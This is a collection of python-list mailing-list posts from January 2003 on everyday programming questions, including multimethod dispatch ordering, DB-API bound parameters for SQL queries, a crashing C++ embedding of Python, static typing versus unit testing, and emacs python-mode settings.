"Samuele Pedroni" <pedronis at bluewin.ch> wrote previously:
|Damian Conway on his method:
|"some languages (e.g. CLOS) take a different approach -- breaking the tie by
|a recount on the inheritance distance of each argument starting from the
|left... In the author's opinion, this approach is appalling...

Where did you find this quote?  I don't think I saw it in the POD, but
maybe I overlooked it.

|If those are the worries then I would go the Dylan route: the applicable
|methods' signatures should be all comparable given the class precedence list
|of the arguments otherwise the dispatch is ambiguous.

I think for Python, both the Perl approach and the Dylan approach are
slightly wrong.  I guess my 'lexicographic_mro()' is essentially the
same as CLOS... which maybe leads back to that whole canard/thread about
Python being a Lisp dialect :-).

I think Conway's approach is very Perl-ish:  try to figure out what the
user was most likely to mean, than execute it willy-nilly.  In that
sense, he definitely does the -right- thing for the language the module
is in.  But Python doesn't make such assumptions.

On the other hand, Dylan seems much more bondage-and-discipline than
Python is.  Covariance/contravariance concerns, and generally an
obsession with type hierarchies, is not very Pythonic, IMO.  I wouldn't
say that raising a descriptive error in case of method ambiguities would
be totally contrary to a Python attitude... but I think better is a rule
which simply decides matters for every case, regardless of inheritence
fussiness.  lexicographic_mro() fills that criterion.

After all, plain inheritence in Python doesn't raise compilation/runtime
errors if the graph isn't pretty enough--as it does in some languages.
MRO never blows up.  Multimethod dispatch should follow that same
general attitude.

|So I think that a multi method dispatch mechanism should provide support
|for both approaches.

I think this remark is Pedroni, not Conway.  I wasn't positive what was
quoted.  But I agree with this.  I'll probably add some more
linearization functions--if only for demonstration.  The problem is just
to think of some that seem plausible.  I'm leaning towards
lexicographic_mro() as the right default one (not reverse_def(), which I
only used for compatibility with Tim Hochberg's original code).  But
options are nice.

Btw. Very nice example about ambiguities in weighted_mro().

Yours, David...

--
Keeping medicines from the bloodstreams of the sick; food from the bellies
of the hungry; books from the hands of the uneducated; technology from the
underdeveloped; and putting advocates of freedom in prisons.  Intellectual
property is to the 21st century what the slave trade was to the 16th.




From gerhard.haering at gmx.de  Tue Jan  7 19:13:55 2003
From: gerhard.haering at gmx.de (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: Wed, 8 Jan 2003 01:13:55 +0100
Subject: Help: Omitting quotes from SQL Queries.
In-Reply-To: <aveubs$6pl$1@news-reader12.wanadoo.fr>
References: <2356598.1041950714@dbforums.com> <aveubs$6pl$1@news-reader12.wanadoo.fr>
Message-ID: <20030108001355.GA723@lilith.ghaering.test>

* Eric Brunel <eric.brunel at pragmadev.com> [2003-01-07 17:20 +0100]:
> keithk wrote:
> > Hi All,
> > 
> > I am using an mx.ODBC connection to MSSQL and am iterating through a
> > list to get data from the DB, for eg:
> > 
> > for fileName in fileNameList:
> >         cursor.execute("SELECT fileSize FROM database where
> >         database.filename = '%s'" % fileName)
> >         fileSizes = cursor.fetchall()
> > 
> > However, when it iterates through the list and fileName equals something
> > like "Hello World's" with a single quote inside the query fails as the
> > string is ended prematurely, does anybody know how I can solve this?
> 
> fileName.replace("'", "''") ?
> 
> Doubling the quotes should do the trick.

It works, but it is not a good habit.

Use DB-API bound parameters:

    cursor.execute("""
        SELECT fileSize FROM database
        WHERE database.filename = %s
        """, (fileName,))

There's a reason cursor.execute has two parameters ;-)

Gerhard
-- 
Favourite database:             http://www.postgresql.org/
Favourite programming language: http://www.python.org/
Combine the two:                http://pypgsql.sf.net/
Embedded database for Python:   http://pysqlite.sf.net/




From fcabaud at free.fr  Tue Jan  7 05:12:53 2003
From: fcabaud at free.fr (frederic cabaud)
Date: Tue, 7 Jan 2003 11:12:53 +0100
Subject: Problem with embedded python
References: <20021231183847.B367218EC36@grendel.zope.com>              <3E15AC7F.1020302@isg.de>  <200301031632.h03GWMO13306@odiug.zope.com>
Message-ID: <013a01c2b635$75456800$0113933e@oemcomputer>

    Hello,

    I am working with embedded python from C++Builder and with the following
code I "break the memory" (read at FFFFFFFF adress) when, I suppose, the
embedded python module use too much memory.
    -> WITH A SMALL PYTHON MODULE: IT WOKS.

    Are there some (unknown) limitations ?

This code is called from C++. A python module must (and it does : I checked
it) return a tupple composed of 1 string and 4 lists.

Normally I use correctly Py_DECREF().

For example, after each                 PyTuple_GetItem(rslt, Cpt);
I call                                              Py_DECREF(ItemTuple);
// Freeing item tuple

I tried with python22 and also with the last one 23.

    Regards




AnsiString __fastcall TDB_Tree::PythonExecute(
    // Data to access with python
    AnsiString Module, AnsiString Method, AnsiString Argument,
    TTreeNode *Node,
    // Pointer for data : not at the same place in display
    // Can be pTableFile or pTableDir
    TTable *pParamTable)
{
  AnsiString SmartScapeReturn = "OK";
  char *Ptr;
  int Len;
  int TupleSize, ListSize;
  unsigned int Cpt, Cpt2;

  long answer;
  PyObject *modname, *mod, *mdict, *func, *stringarg, *args, *rslt;

  PyObject *ItemTuple, *ItemList;
  TTreeNode *NewNode;

  try
  {
  modname = PyString_FromString(Module.c_str());
  mod = PyImport_Import(modname);
  if (mod) {
    mdict = PyModule_GetDict(mod);
    func = PyDict_GetItemString(mdict, Method.c_str()); /* borrowed
reference */
    if (func)
    {
      if (PyCallable_Check(func)) {
        if (strlen (Argument.c_str()) == 0) // For example : identification
        {
          rslt = PyObject_CallObject(func, NULL);
        }
        else
        {
          stringarg = PyString_FromString(Argument.c_str());
          args = PyTuple_New(1);
          PyTuple_SetItem(args, 0, stringarg);
          rslt = PyObject_CallObject(func, args);
        }
        if (rslt) {
          //answer = PyInt_AsLong(rslt);
          //PyString_AsStringAndSize(rslt, &Ptr, &Len);
          if (PyTuple_Check(rslt) == true)
          {
            TupleSize = PyTuple_Size(rslt);
            if (TupleSize != 5)
            {
              Cpt = 65535;// Break the loop
              SmartScapeReturn = "Bad Tuple size";
            }
            else
            {
            for (Cpt = 0 ; Cpt < TupleSize ; Cpt++)
            {
              ItemTuple = PyTuple_GetItem(rslt, Cpt);
              switch (Cpt)
              {
                // R E S U L T
                case SSCAPE_RESULT:
                {
                  // String
                  PyString_AsStringAndSize(ItemTuple, &Ptr, &Len);
                  SmartScapeReturn = AnsiString(Ptr);
                  if (SmartScapeReturn == "OK")
                  {
                    if (strcmp(Method.c_str(), "identification") == 0)
                    {
                      TTreeNode *pFirst;
                      pFirst =
TreeView1->Items->AddFirst(pRoot,CurrentModule);
                      // This child is only created for the node apearance
('+' picture )

TreeView1->Items->AddChild(pFirst,"DummyForTreeCreation");
                      Node = pFirst; // For the dir management a few lines
furhter

                      // way to avoid to go to "Expanding"
                      ManagesExpand = false;
                      Node->Expand(false);
                      ManagesExpand = true;
                    }
                  }
                  else
                  {
                    Cpt = 65535;// Break the loop
                  }
                }
                break;

                // D A T A
                case SSCAPE_DATA_NAMES:
                case SSCAPE_DATA_VALUES:
                {
                  ListSize = PyList_Size(ItemTuple);
                  if (ListSize < 0)
                  {
                    Cpt = 65535;// Break the loop
                    SmartScapeReturn = "Negative size for list Size of dir";
                  }
                  else
                  {
                  if (ListSize != 0)
                  {
                    // pParamTable Can be pTableFile or pTableDir
                    // Empty for the first time
                    if (Cpt == SSCAPE_DATA_NAMES)
                    {
                      pParamTable->Active=false;
                      try
                      {
                        pParamTable->EmptyTable();
                      }
                      catch(EDatabaseError &e)
                      {
                      }
                      pParamTable->Active=true;

                      for (Cpt2 = 0 ; Cpt2 < ListSize ; Cpt2++)
                      {
                        // Create the data
                        pParamTable->Insert();
                        pParamTable->FieldByName("Name")->AsString = "Create
new line";
                        pParamTable->Post();
                      }

                    }

                    // Go to the begin of the database
                    pParamTable->First();
                    // List
                    // name and values
                    for (Cpt2 = 0 ; Cpt2 < ListSize ; Cpt2++)
                    {
                      // Get from python
                      ItemList = PyList_GetItem(ItemTuple, Cpt2); /* Can't
fail */
                      PyString_AsStringAndSize(ItemList, &Ptr, &Len);
                      if (ItemList == NULL)
                      {
                        Cpt = Cpt2 = 65535;// Break the loop
                        SmartScapeReturn = "Problem in FILES List
extraction";
                      }
                      else
                      {
                        pParamTable->Edit();
                        // Add in display
                        if (Cpt == SSCAPE_DATA_NAMES)
                        {
                          pParamTable->FieldByName("Name")->AsString =
AnsiString(Ptr);
                        }
                        else
                        {
                          pParamTable->FieldByName("Data")->AsString =
AnsiString(Ptr);
                        }
                        pParamTable->Post();
                        pParamTable->Next();
                      }
                    }
                    // Go to the begin of the database (for display)
                    pParamTable->First();

                  }
                  }
                }
                break;

                // F I L E S
                case SSCAPE_FILES:
                {
                  // List
                  // Name, modules, method, parameter
                  ListSize = PyList_Size(ItemTuple);
                  if (ListSize < 0)
                  {
                    Cpt = 65535;// Break the loop
                    SmartScapeReturn = "Negative size for list Size of dir";
                  }
                  else
                  {
                    if (ListSize > 0)
                    {
                      ListBox1->Items->Clear();
                    }

                    for (Cpt2 = 0 ; Cpt2 < ListSize ; Cpt2++)
                    {
                      // Get from python
                        ItemList = PyList_GetItem(ItemTuple, Cpt2); /* Can't
fail */
                      if (ItemList == NULL)
                      {
                          Cpt = Cpt2 = 65535;// Break the loop
                        SmartScapeReturn = "Problem in FILES List
extraction";
                      }
                      else
                      {
                        PyString_AsStringAndSize(ItemList, &Ptr, &Len);
                        // Add in display
                        ListBox1->Items->Add(AnsiString(Ptr));
                      }
                    }// for()
                  }

                }
                break;


                // D I R
                case SSCAPE_DIR:
                {
                  // List
                  // Name, modules, method parameter
                  ListSize = PyList_Size(ItemTuple);
                  if (ListSize < 0)
                  {
                    Cpt = 65535;// Break the loop
                    SmartScapeReturn = "Negative size for list Size of dir";
                  }
                  else
                  {
                    if (ListSize > 0)
                    {
                      Node->Item[0]->Delete(); // DummyForTreeCreation is
deleted
                    }

                    for (Cpt2 = 0 ; Cpt2 < ListSize ; Cpt2++)
                    {
                      // Get from python
                      ItemList = PyList_GetItem(ItemTuple, Cpt2); /* Can't
fail */
                      if (ItemList == NULL)
                      {
                        Cpt = Cpt2 = 65535;// Break the loop
                        SmartScapeReturn = "Problem in DIR List extraction";
                      }
                      else
                      {
                        PyString_AsStringAndSize(ItemList, &Ptr, &Len);

                        // Add in display
                        NewNode =
TreeView1->Items->AddChild(Node,AnsiString(Ptr));
                        // This child is only created for the node apearance
('+' picture )

TreeView1->Items->AddChild(NewNode,"DummyForTreeCreation");
                      }
                    }// for()
                  }

                }
                break;

              }
              Py_DECREF(ItemTuple);  // Freeing item tuple
            }// for()
            }
          }
          else
          {
            SmartScapeReturn = "Bad check of the tupple";
          }
          Py_XDECREF(rslt);
        }
        else
        {
          SmartScapeReturn = "Bad func call in module " +Module + " with
method " + Method +" with arguments " + Argument;
        }
        if (Argument != "")
        {
          Py_XDECREF(stringarg);
          Py_XDECREF(args);
        }
      }
      else
      {
        SmartScapeReturn = "Bad func call in module " +Module + " with
method " + Method;
      }
    }
    else
    {
      SmartScapeReturn = "Bad function in module "+Module;
    }
    Py_XDECREF(mod);
  }
  else
  {
    SmartScapeReturn = "Bad module "+ Module;
  }
  Py_XDECREF(modname);
  }
  catch(...)
  {
    SmartScapeReturn = "Problem with python access";
  }

  return(SmartScapeReturn);
}






From exarkun at intarweb.us  Tue Jan 28 15:26:19 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Tue, 28 Jan 2003 15:26:19 -0500
Subject: patching of python: tabs make me seek of python
In-Reply-To: <f210c9f3.0301281143.22c01152@posting.google.com>
References: <f210c9f3.0301281143.22c01152@posting.google.com>
Message-ID: <20030128202619.GA26529@meson.dyndns.org>

On Tue, Jan 28, 2003 at 11:43:17AM -0800, Andrei Smirnov wrote:
> [snip "I want to do something stupid"]

  Curly braces are not bad, but they are bad in Python.  Whitespace is not
good, but it is good in Python.  You already said you're using emacs.  Use
emacs' Python mode.

  Jp

-- 
"There is no reason for any individual to have a computer in their
home."
                -- Ken Olson, President of DEC, World Future Society
                   Convention, 1977
-- 
 up 43 days, 23:49, 3 users, load average: 0.30, 0.38, 0.32
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030128/bacb0dc2/attachment.sig>

From gbrunet at nospamsempersoft.com  Wed Jan  8 01:58:15 2003
From: gbrunet at nospamsempersoft.com (Greg Brunet)
Date: Wed, 8 Jan 2003 00:58:15 -0600
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <v1i5tsger4jv81@corp.supernews.com> <3E197F7C.D4549EC5@engcorp.com> <v1jd1o8pjuho28@corp.supernews.com> <3E1A3F8B.8D4BAD96@engcorp.com>
Message-ID: <v1nlne1bvl7r30@corp.supernews.com>

Hi Peter:

"Peter Hansen" <peter at engcorp.com> wrote in message
news:3E1A3F8B.8D4BAD96 at engcorp.com...
> > [...]  I don't see the need to
> > increase the amount these tests in order to catch stuff that the
> > compiler can otherwise find for me (when statically typed).  Also, I
(1)
> > wonder how many folks really do this to the necessary degree in the
all
> > of their apps (I haven't seen this kind or degree in test code in
the
> > Python code that I've reviewed so far,
>
> Definitely not everyone does it (yet?).  On the other hand, some
people
> *are* doing it.  For one thing, much or most of Python's own code has
> extensive unit tests (check out the /lib/test folder).  As another
good
> example, the Twisted framework was developed using XP and has unit
tests
> using the PyUnit test framework.  See http://twistedmatrix.com/ for
more.
>
> The fact that few are doing this doesn't invalidate the concept.  It
just
> means that many have ignored good advice for decades.  The emergence
of
> the new "agile" development methods means that more are being exposed
> to the benefits for the first time, and in a context which makes it
> much more likely they will actually be able to build such tests.

I agree - I don't believe that it invalidates the concept.  But what I
think that it does show is that for many programs, even the validation
that can occur with static typing is missing from the development cycle.
Likewise, just because static typing does help catch these things
shouldn't be a crutch or excuse for me not to run stringent unit tests.
I'm just trying to point out that in many 'real world' cases, the unit
tests don't get written, and so the developer doesn't even get the
opportunity to catch the errors that could be eliminated with static
typing.

> > and (2) unit testing something
> > for different conditions DOES NOT relieve you of the need to add
error
> > checking code, and I have seen virtually none of the error checking
code
> > I would expect in the stuff I've reviewed.  Does all your code check
to
> > make sure that you are passed an integer instead of a float or a
string?
>
> Actually, in many cases it *does* relieve you of the need for error
> checking code.  I likely wouldn't convince you of this in a short
post,
> but there are books being written on the subject as we speak...
>
> The fact that all the important paths in my code are exercised before
> I release means that I don't need to worry about explicit tests for
> integers versus strings or floats.  My tests give me confidence that
> the function that cares about this is *not* called with bad values.
>
> I also know a number of other things about it that your VB compiler
> cannot possibly tell you.  I know that the logic contained in that
> function actually works.  I know that the value passed in, not the
> constant that I hacked in during debugging and forgot to remove later,
> is actually the one used.  I know that the subroutines called by
> that function are correct as well, and that I didn't use the wrong
> name for something during a cut-and-paste accident.  How would VB
> tell you all that without tests?
>
> I think any discussion which compares Python unfavourably with
> a statically typed language where the compiler can do type-checking,
> but which does not assume full unit testing will be performed, is
> merely a way of justifying code-and-fix hacking in the statically
> typed language.  If you assume proper testing, the advantages of
> the statically typed language are vastly diminished.

Surprising as this may sound, I am NOT of the school that "if it
compiles, it must be correct".  Perhaps there are some static typing
proponents that feel that way, but I think that anyone with even a
little bit of experience will realize the dangers of 'code-and-fix
hacking' & depending on static typing to same him from himself.  I've
only just learned about XP, and am trying to come up to speed on that as
quickly as possible, since it does seem that it would improve the
process.

It seems that some folks believe that my position is static typing
instead of unit testing.  That's not the case - continue to do as much
unit testing as you feel is needed (although I wonder what your
confidence level is in your 'unimportant' code paths <g>).  Static
typing is just another tool to help the development process, and even if
proper testing reduces the advantages of static typing by 50 or 75%,
I'll still take whatever extra advantages I can get when I write code.

--
Greg




From mwh at python.net  Wed Jan 29 07:47:05 2003
From: mwh at python.net (Michael Hudson)
Date: Wed, 29 Jan 2003 12:47:05 GMT
Subject: "\n" in unicode vs "regular" string: is this normal?
References: <b18dcj$2rh$1@news-reader12.wanadoo.fr>
Message-ID: <7h3n0lkyvh9.fsf@pc150.maths.bris.ac.uk>

Eric Brunel <eric.brunel at pragmadev.com> writes:

> Hi all,
> 
> Consider the following class:
> 
> class C:
>    def __init__(self, s):
>      self.s = s
>    def __repr__(self):
>      return self.s
> 
> Now run:
> 
>  >>> o1 = C("foo\nbar")
>  >>> o1
> foo
> bar
>  >>> o2 = C(unicode("foo\nbar"))
>  >>> o2
> foo\nbar

That's pretty odd.

> Is there a good reason why the result is different? The unicode stuff
> should take by default the standard encoding which is for me just
> plain ASCII. So why does the two objects have different
> representations?

Well, you're not returning a string (in the strict sense) from repr.

Hmm, it'd be this code, then (from Objects/object.c:PyObject_Repr):

#ifdef Py_USING_UNICODE
		if (PyUnicode_Check(res)) {
			PyObject* str;
			str = PyUnicode_AsUnicodeEscapeString(res);
			Py_DECREF(res);
			if (str)
				res = str;
			else
				return NULL;
		}
#endif

it's possible that that should be PyUnicode_AsEncodedString(res, NULL,
NULL); instead.

It might be better to ensure your __repr__ methods always return
real strings by calling __str__.

Hmm, http://www.python.org/sf/400706 seems to indicate this has been a
point of discussion in the past.  You could dig, if you felt like it.

> I just stepped on this problem because of Tkinter returning plain
> strings if the text is only ASCII, but unicode strings otherwise. The
> text returned from Tkinter was wrapped in XML code by specific objects
> using __repr__ (which may not be a good idea indeed...).

Given that AIUI XML documents are strictly unicode indeed it may
not...

> And it took me ages to figure out why on earth the text I stored in
> my file contained the string "\n" instead of actual line feeds...

I'm not surprised!

Cheers,
M.

-- 
  Good? Bad? Strap him into the IETF-approved witch-dunking
  apparatus immediately!                        -- NTK now, 21/07/2000



From ianb at colorstudy.com  Tue Jan 28 14:02:55 2003
From: ianb at colorstudy.com (Ian Bicking)
Date: 28 Jan 2003 13:02:55 -0600
Subject: Browser front-end, python back-end
In-Reply-To: <b16jlp$fii$1@newsmaster.cc.columbia.edu>
References: <fd5aa35c.0301280922.a952dc7@posting.google.com>
	 <slrnb3dg7u.lr.lee@bad-bart.lcp.nrl.navy.mil>
	 <b16jlp$fii$1@newsmaster.cc.columbia.edu>
Message-ID: <1043780575.29616.214.camel@lothlorien>

On Tue, 2003-01-28 at 12:54, Eric Mattes wrote:
> My worries about using BaseHTTPServer come from the fact that when I run
> 'serve_forever()', I need to use the task manager to kill the program. Is
> there some way around that?

Sure...

try:
    server.serve_forever()
except SystemExit:
    pass

  Ian





From Mongryong at sympatico.ca  Sat Jan 25 20:20:03 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 25 Jan 2003 20:20:03 -0500
Subject: Iterating all files in a directory
Message-ID: <1043544003.4943.28.camel@refugeeMedia>

How can iterate through all the files in a directory?

ie. obtain a list of all the file's name 

Thanks.







From max at alcyone.com  Tue Jan 28 01:58:59 2003
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 27 Jan 2003 22:58:59 -0800
Subject: emacs python mode problem
References: <c3835e5f.0301271901.546be815@posting.google.com>
Message-ID: <3E362A33.B6FD01B6@alcyone.com>

Chris Fonnesbeck wrote:
> 
> I've become a little frustrated with the python indenting in python
> mode for emacs. I have tried setting the indent to 4 spaces both via
> the configuration menu and by hand in my .emacs file:
> 
> '(setq-default py-indent-offset 4)

Hmm, it doesn't look like that quote should be there.

> However, when editing python files, from time to time the indentation
> falls back to 8 spaces. Anyone have an idea as to why this may be
> happening?

I've been using python-mode since I first came on the Python scene and
I've never seen anything like that.  Could it be that the Python files
you're editing contain the little #-*- (or whatever they are; I've never
used them myself) indenting hints?  (I don't even know to what extent
these are supported, this is an off-the-wall answer.)

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Peace with a cudgel in hand is war.
\__/ (a Portugese proverb)
    Blackgirl International / http://www.blackgirl.org/
 The Internet resource for black women.



From reageer.in at de.nieuwsgroep  Sun Jan 26 18:48:49 2003
From: reageer.in at de.nieuwsgroep (Rene Pijlman)
Date: Mon, 27 Jan 2003 00:48:49 +0100
Subject: Translation table to map Latin-1 to ASCII?
References: <j8563v4r381meidikj14v1tjsobcfvijra@4ax.com> <c76ff6fc.0301252318.ecc7156@posting.google.com> <2ll73v8a0gs4a7l9rfipp7srde4ta2e5tg@4ax.com> <3E33EC7A.9080900@v.loewis.de> <t4t73vc63vo2kuf5p5t4ao4cdmng7p2387@4ax.com> <c76ff6fc.0301261457.7d04e884@posting.google.com>
Message-ID: <eqs83vkhegmib78abji5o6rcd1aqiq3vai@4ax.com>

John Machin:
>Rene Pijlman:
>> accentstable = string.join(map(chr, range(192)), "") +
>> "AAAAAAACEEEEIIIIDNOOOOOxOUUUUYpBaaaaaaaceeeeiiiidnooooo/ouuuuypy"
>> 
>
>You have mapped 0xF0 (small eth) to o, instead of d. Is this
>deliberate?

No, just plain old ignorance.

>You have mapped 0xDE (capital thorn) to P and 0xFE (small thorn) to p.
>On a sound-alike basis rather than a look-alike basis, it may be more
>appropriate to map these to T & t (or TH and th).
>
>Likewise 0xDF (small sharp s) may be better mapped to s (or ss) than
>to B.

Wow! You people sure are paying attention :-)

>You may wish to contemplate the notion that a single mapping of one
>byte to one byte may not be the best way to go, but of course this
>depends on what you are trying to achieve.

This is just for search log analysis. It's not really a problem
when some Icelandic searches are 1% skewed statistically :-)

But here is the new and improved Latin2AsciiLossyMapping (t)
version 1.0 rc1:

accentstable = string.join(map(chr, range(192)), "") +
"AAAAAAACEEEEIIIIDNOOOOOxOUUUUYTsaaaaaaaceeeeiiiidnooooo/ouuuuyty"

Thanks everyone for your help.

-- 
Ren? Pijlman

Wat wil jij leren?  http://www.leren.nl



From zhitenev at cs.vsu.ru  Tue Jan 21 11:56:45 2003
From: zhitenev at cs.vsu.ru (Lexy Zhitenev)
Date: Tue, 21 Jan 2003 19:56:45 +0300
Subject: Newbie question: wxNotebook
References: <3E2D1E57.19CC5FC4@ipm.fhg.de>
Message-ID: <b0ju52$1nmi$1@serv.vrn.ru>

"Markus von Ehr" <markus.vonehr at ipm.fhg.de> ???????/???????? ? ????????
?????????: news:3E2D1E57.19CC5FC4 at ipm.fhg.de...
> I want to add a control Panel on the left side.
> In this Panel I want a Notebook filling the whole available space.
> Unfortunately the notebook remains very small, too small for placing
> controls inside.
> What can I do that the notebook always fills the whole available area,
> independent of the parents size?
>

Yes, sizers and layouts don't work for wxNotebook. I hope it will be fixed
in the next versions. The only thing I can propose is to use code like that.
I use this variant:

        nb = wxNotebook(self, -1, (0, 0), size=self.GetClientSize(), style =
wxNB_BOTTOM)
        def OnFrameSize(evt, self=self, nb=nb):
            nb.SetSize(self.GetClientSize())
        EVT_SIZE(self, OnFrameSize)

This works for all cases, at least in Windows. self here is wxNotebook
parent.

Best regards, Lexy.





From mwm at mired.org  Wed Jan  8 19:35:55 2003
From: mwm at mired.org (Mike Meyer)
Date: Thu, 09 Jan 2003 00:35:55 GMT
Subject: avoiding long paths to interpreter
References: <aviaqo$9k6$1@nntp1.jpl.nasa.gov>
Message-ID: <x7lm1vupld.fsf@guru.mired.org>

Mathew Yeates <mathew at fugue.jpl.nasa.gov> writes:

> Is there an equivalent in python? What is the
> bast way to distibute a python script without
> knowing the users path to the python executable?

The recommended approach is to use:

#!/usr/bin/env python

which will find python no matter where it is if it's in the users path.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From Mongryong at sympatico.ca  Wed Jan 22 18:29:51 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 22 Jan 2003 18:29:51 -0500
Subject: Problem: Need help!!  - thanks
In-Reply-To: <002f01c2c268$b1f3afc0$0400a8c0@newtackldap>
References: <002f01c2c268$b1f3afc0$0400a8c0@newtackldap>
Message-ID: <1043278191.1416.29.camel@refugeeMedia>

I'm running RedHat 8 and it comes with Python2.2.1.  However, I do all
MY work with Python2.2.2.  The RedHat Python2.2.1 is installed in
/usr/bin while my Python2.2.2 is installed in /usr/local/bin.  I do this
just in-case there are some compatibitiy issues.  For example, RedHat 8
installs and uses PyXML 0.6.6 but if you update to PyXML to 0.8.1, a lot
of the RedHat tools don't work anymore.

On RedHat, its a good idea to separate the RedHat distribution from your
own personally installed apps to prevent incompatibility issues.  My
suggestion is to only use the RedHat certified RPMs to update your
Redhat distribution (/usr).  Keep all you personal apps in /usr/local/

Since RedHat 8 hasn't provided an update for Python2.1 (/usr/bin), I
doubt that they have provided an update for RedHat 7.3 to use
Python2.2.  I think that is your problem.  If this is the case, you
should re-install the Python that comes with 7.3 and install the new
Python2.2 in /usr/local/bin. 

On Wed, 2003-01-22 at 17:50, ron-breon wrote:
> I received the following message when invoking redhat-config-users (User Manager)..
> 
> I am running RedHat Linux 7.3 and keep up with all the updates...
> 
>  I tried to run User Manager and received the following messages and User
>  Manager no longer works and I can't find out what is wrong... Any
>  Ideas??
> 
>  Messages:
> 
>  file "/usr/share/redhat-config-users/redhat-config-users.py". line 25, in ? import libuser
>  ImportError: /usr/lib/python2.2/site-packages/libusermodule.so: undefiined symbol: PyUnicodeUCS4_AsUTF8String
> 
> Sent note to python-list based on the following respnse.. thanks Brentt C.
> 
> Looks like a C extension module that Red Hat distributes (you can tell it
> isn't a part of Python because it is in the site-packages directory) is
> missing the definition of a variable.  Without access to the original C
> code there is nothing anyone can do.
> 
> It would be best to ask this question on python-list at python.org (this
> address is for web site related issues only).  That list is a gatewary to
> comp.lan.python and you have a better chance of getting help there.  And
> since it is a Red Hat issue chances are you are not the only person to
> have run into it and thus there is most likely someone out there with an
> answer for you.
> 
> -Brett C.






From andersjm at inbound.dk  Thu Jan  2 18:00:02 2003
From: andersjm at inbound.dk (Anders J. Munch)
Date: Fri, 3 Jan 2003 00:00:02 +0100
Subject: Multiple dispatch again
References: <mailman.1041492423.21345.python-list@python.org> <3e145c1e$0$71692$edfadb0f@dread11.news.tele.dk> <3e146ab0_3@news.bluewin.ch> <oP_Q9.23115$Hl6.2417254@news010.worldonline.dk> <3e14840e$1_3@news.bluewin.ch> <4S0R9.23646$Hl6.2445570@news010.worldonline.dk> <3e14a018$1_3@news.bluewin.ch>
Message-ID: <Ow3R9.23735$Hl6.2479089@news010.worldonline.dk>

"Samuele Pedroni" <pedronis at bluewin.ch> wrote:
> You could try with something larger.

I could do a lot of things, but I have work to do.

cheers,
Anders






From peter at engcorp.com  Sat Jan 25 22:28:38 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sat, 25 Jan 2003 22:28:38 -0500
Subject: More usenet usage statistics, by programming language
References: <b0s7hn$fum$1@bob.news.rcn.net> <3E332BDF.25DE97C7@lvcm.com> <b0vfiq$2gi$0@216.39.172.122> <mailman.1043548188.16143.python-list@python.org>
Message-ID: <3E3355E6.1B986DFC@engcorp.com>

Laura Creighton wrote:
> 
> If we want to make the volume in this newsgroup go up, just post something
> that is _wrong_.  Or claim that vi is superior to emacs or vice-versa.
> Or ask people what their favourite <anything> is.  Or write a note
> claiming that Lisp is only used by fools and the mentally unstable and
> make sure that the readers of comp.lang.lisp hear about it. <wink>

That's crazy!  Vi is *not* superior to emacs.  In fact, emacs
is far inferior to vi.  After all, vi is written in Lisp, so it
must have been built by mentally unstable fools!

My favourite editor is vimacs; what's yours?

-all-i-forgot-was-the-cross-post-ly yr's,
 Peter ;-)



From urba0083 at tc.umn.edu  Sat Jan 11 14:53:53 2003
From: urba0083 at tc.umn.edu (Michael Urban)
Date: Sat, 11 Jan 2003 13:53:53 -0600
Subject: Newbie simple py2exe problem
References: <ec902v00ap9a9s7fl450prj7sp1agv4t45@4ax.com> <pete.joos@pobox.com>  of "Sat, 11 Jan 2003 14:15:02 GMT." <ec902v00ap9a9s7fl450prj7sp1agv4t45@4ax.com> <mailman.1042296260.10798.python-list@python.org> <o7j02vkju89bajmdm2jr2obkjik1i22bpc@4ax.com> <3E205B02.3F201C08@engcorp.com> <jrq02v4rb3le6hfth6sk8nd8io1t8fmtt9@4ax.com>
Message-ID: <3E207651.60103@tc.umn.edu>

Bubba wrote:

> This is my setup.py
> # setup.py
>    from distutils.core import setup
>    import py2exe
> 
>    setup(name="counter",
>          scripts=["counter.py"],
>    )


And therin lies your syntax error. "from distutils.core import setup" 
cannot be indented since Python uses indentation for delimiting code 
blocks. "from" is part of the main block. Indenting it is causing the 
syntax error.




From gerhard.haering at gmx.de  Sun Jan  5 02:20:11 2003
From: gerhard.haering at gmx.de (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: Sun, 5 Jan 2003 08:20:11 +0100
Subject: Python vs .Net
In-Reply-To: <PxQR9.45$uS3.4626462@mantis.golden.net>
References: <PxQR9.45$uS3.4626462@mantis.golden.net>
Message-ID: <20030105072011.GA566@lilith.ghaering.test>

* Etienne Charland <mystery at golden.net> [2003-01-05 01:40 -0500]:
> I would like to compare Python with .Net. First of all, for those who
> knows .Net, what are the pros and the cons of each?

They're quite different beasts, and IMHO can't be compared in a
meaningful way.

> Secondly, how would I write this simple database application in
> Python, to see how it looks like. I've written the code required to do
> it in VB.Net. [...]

> [exmaple of data bound combobox]

Python has a standardized way of accessing relational databases, the
Python database API, version 2. There's, however no way of directly
binding queries or tables to these controls using DBAPI2 (it's quite
easy to do, but no direct binding a la ADO.NET).

*But* PyQt seems to have a way to use data bound controls. That's,
however, a different beast and I don't have any exerience with it.

Gerhard
-- 
Favourite database:             http://www.postgresql.org/
Favourite programming language: http://www.python.org/
Combine the two:                http://pypgsql.sf.net/
Embedded database for Python:   http://pysqlite.sf.net/




From db3l at fitlinxx.com  Mon Jan  6 12:26:45 2003
From: db3l at fitlinxx.com (David Bolen)
Date: 06 Jan 2003 12:26:45 -0500
Subject: Distributing Python apps
References: <aMLR9.8636$8M3.1445703@news20.bellglobal.com> <57de9986.0301050312.7749a747@posting.google.com>
Message-ID: <uznqechpm.fsf@fitlinxx.com>

giles_brown at hotmail.com (Giles Brown) writes:

> Other posts in this thread seem to be giving the impression that all
> python applications are doomed to be multi-megabyte distributions.
> A couple of weeks ago I used py2exe to build a small command line
> program (the medusa monitor client as it happens) into a distribution
> of just about 1MB.  This isn't even compressed, you can run it directly
> from a floppy disk.

